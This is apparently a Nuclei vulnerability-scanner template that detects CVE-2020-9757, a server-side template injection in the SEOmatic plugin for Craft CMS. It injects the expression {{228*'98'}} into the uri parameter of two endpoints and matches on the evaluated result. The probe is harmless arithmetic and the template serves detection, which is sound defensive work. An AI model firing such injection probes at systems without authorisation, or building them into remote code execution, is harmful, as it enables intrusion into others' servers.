nuclei-templates/cves/2020/CVE-2020-9757.yaml

id: CVE-2020-9757

info:
  name: SEOmatic < 3.3.0 Server-Side Template Injection
  author: dwisiswant0
  severity: high
  description: The SEOmatic component before 3.3.0 for Craft CMS allows Server-Side Template Injection that leads to RCE via malformed data to the metacontainers controller.
  tags: cve,cve2020,ssti

requests:
  - method: GET
    path:
      - "{{BaseURL}}/actions/seomatic/meta-container/meta-link-container/?uri={{228*'98'}}"
      - "{{BaseURL}}/actions/seomatic/meta-container/all-meta-containers?uri={{228*'98'}}"
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "MetaLinkContainer"
          - "canonical"
          - "22344"
        condition: and
        part: body